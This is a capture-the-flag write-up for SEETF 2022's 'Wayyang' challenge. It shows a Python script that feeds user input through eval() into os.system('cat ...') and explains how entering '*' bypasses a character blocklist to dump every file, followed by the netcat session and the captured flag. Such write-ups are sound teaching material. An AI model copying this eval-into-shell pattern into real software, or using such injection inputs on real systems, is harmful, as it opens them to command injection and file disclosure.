For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/SEETF_CTF_2022/#wayyang) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/SEETF_CTF_2022#wayyang) out
![Wayyang](https://raw.githubusercontent.com/bsempir0x65/CTF_Writeups/main/SEETF_CTF_2022/img/wayyang.png)
So this time we got a little python script:
```python#!/usr/local/bin/pythonimport os
FLAG_FILE = "FLAG"
def get_input() -> int:    print('''                 ,#####,                 #_   _#                 |a` `a|                 |  u  |            ________________________                 \  =  /           |        WAYYANG         |                 |\___/|           <     TERMINAL  v1.0     |        ___ ____/:     :\____ ___  |________________________|      .'   `.-===-\   /-===-.`   '.     /      .-"""""-.-"""""-.      \    /'             =:=             '\  .'  ' .:    o   -=:=-   o    :. '  `.  (.'   /'. '-.....-'-.....-' .'\   '.)  /' ._/   ".     --:--     ."   \_. '\ |  .'|      ".  ---:---  ."      |'.  | |  : |       |  ---:---  |       | :  |  \ : |       |_____._____|       | : /  /   (       |----|------|       )   \ /... .|      |    |      |      |. ...\|::::/'' jgs /     |       \     ''\::::|'""""       /'    .L_      `\       """"'           /'-.,__/` `\__..-'\          ;      /     \      ;          :     /       \     |          |    /         \.   |          |`../           |  ,/          ( _ )           |  _)          |   |           |   |          |___|           \___|          :===|            |==|           \  /            |__|           /\/\           /"""`8.__           |oo|           \__.//___)           |==|           \__/''')    print("What would you like to do today?")    print("1. Weather")    print("2. Time")    print("3. Tiktok of the day")    print("4. Read straits times")    print("5. Get flag")    print("6. Exit")
    choice = int(input(">> "))
    return choice
if __name__ == '__main__':    choice = get_input()
    if choice == 1:        print("CLEAR SKIES FOR HANDSOME MEN")    elif choice == 2:        print("IT'S ALWAYS SEXY TIME")    elif choice == 3:        print("https://www.tiktok.com/@benawad/video/7039054021797252399")    elif choice == 4:        filename = input("which news article you want babe :)   ")        not_allowed = [char for char in FLAG_FILE]
        for char in filename:            if char in not_allowed:                print("NICE TRY. WAYYANG SEE YOU!!!!!")                os.system(f"cat news.txt")                exit()
        try:            os.system(f"cat {eval(filename)}")        except:            pass    elif choice == 5:        print("NOT READY YET. MAYBE AFTER CTF????")```
Here we can see that multiple options are offered to us and that all of them except "4" just prints some text or exits the session. So let's have a closer look onto number 4. We can see that another input question pops up. After that our input gets checked if any character was used which is part of FLAG_FILE which would be "F", "L", "A", "G" (if you ask yourself why it is this way just check [list-comprehensions](https://www.pythonforbeginners.com/basics/list-comprehensions-in-python) ). After that it checks our input we gave for the article if it has any of these characters and if you print out the news and that WAYYANG sees us. If it does not find a not allowed character it trys to execute "cat {eval(filename)}". So the idea is to bypass that check.
Honestly there is probably a real hacky way but what we just used are [bash macros](https://www.gnu.org/software/bash/manual/html_node/Miscellaneous-Commands.html). So we put as an input "*" to get any content of any file in the current directory. This gave us an error in the first place because of the way "input" makes an object. To circumvent that we just put in '*' and voila we had it.
```console└─$ nc fun.chall.seetf.sg 50008                 ,#####,                 #_   _#                 |a` `a|                 |  u  |            ________________________                 \  =  /           |        WAYYANG         |                 |\___/|           <     TERMINAL  v1.0     |        ___ ____/:     :\____ ___  |________________________|      .'   `.-===-\   /-===-.`   '.     /      .-"""""-.-"""""-.      \    /'             =:=             '\  .'  ' .:    o   -=:=-   o    :. '  `.  (.'   /'. '-.....-'-.....-' .'\   '.)  /' ._/   ".     --:--     ."   \_. '\ |  .'|      ".  ---:---  ."      |'.  | |  : |       |  ---:---  |       | :  |  \ : |       |_____._____|       | : /  /   (       |----|------|       )   \ /... .|      |    |      |      |. ...\|::::/'' jgs /     |       \     ''\::::|'""""       /'    .L_      `\       """"'           /'-.,__/` `\__..-'\          ;      /     \      ;          :     /       \     |          |    /         \.   |          |`../           |  ,/          ( _ )           |  _)          |   |           |   |          |___|           \___|          :===|            |==|           \  /            |__|           /\/\           /"""`8.__           |oo|           \__.//___)           |==|           \__/What would you like to do today?1. Weather2. Time3. Tiktok of the day4. Read straits times5. Get flag6. Exit>> 4which news article you want babe :)   '*'SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}WAYYANG DECLARED SEXIEST MAN ALIVE // <- the actual flag
SINGAPORE - In the latest edition of Mister Universe, Wayyang won again, surprising absolutely no one.The judges were blown away by his awesome abdominals and stunned by his sublime sexiness.When asked for his opinions on his latest win, Wayyang said nothing, choosing to smoulder into the distance.# /usr/bin/shpython wayyang.pyHello there :D#!/usr/local/bin/pythonimport os
FLAG_FILE = "FLAG"
def get_input() -> int:    print('''                 ,#####,                 #_   _#                 |a` `a|                 |  u  |            ________________________                 \  =  /           |        WAYYANG         |                 |\___/|           <     TERMINAL  v1.0     |        ___ ____/:     :\____ ___  |________________________|      .'   `.-===-\   /-===-.`   '.     /      .-"""""-.-"""""-.      \\    /'             =:=             '\\  .'  ' .:    o   -=:=-   o    :. '  `.  (.'   /'. '-.....-'-.....-' .'\   '.)  /' ._/   ".     --:--     ."   \_. '\\ |  .'|      ".  ---:---  ."      |'.  | |  : |       |  ---:---  |       | :  |  \ : |       |_____._____|       | : /  /   (       |----|------|       )   \\ /... .|      |    |      |      |. ...\\|::::/'' jgs /     |       \     ''\::::|'""""       /'    .L_      `\       """"'           /'-.,__/` `\__..-'\\          ;      /     \      ;          :     /       \     |          |    /         \.   |          |`../           |  ,/          ( _ )           |  _)          |   |           |   |          |___|           \___|          :===|            |==|           \  /            |__|           /\/\           /"""`8.__           |oo|           \__.//___)           |==|           \__/''')    print("What would you like to do today?")    print("1. Weather")    print("2. Time")    print("3. Tiktok of the day")    print("4. Read straits times")    print("5. Get flag")    print("6. Exit")
    choice = int(input(">> "))
    return choice
if __name__ == '__main__':    choice = get_input()
    if choice == 1:        print("CLEAR SKIES FOR HANDSOME MEN")    elif choice == 2:        print("IT'S ALWAYS SEXY TIME")    elif choice == 3:        print("https://www.tiktok.com/@benawad/video/7039054021797252399")    elif choice == 4:        filename = input("which news article you want babe :)   ")        not_allowed = [char for char in FLAG_FILE]
        for char in filename:            if char in not_allowed:                print("NICE TRY. WAYYANG SEE YOU!!!!!")                os.system(f"cat news")                exit()
        try:            os.system(f"cat {eval(filename)}")        except:            pass    elif choice == 5:        print("NOT READY YET. MAYBE AFTER CTF????") ```
Ofcourse we had some gubberish here but heh the assumption that the file is in the same directory worked and we probably have the shortest input solution (((o(*°▽°*)o))).Flag: SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}
Buja already 3 down.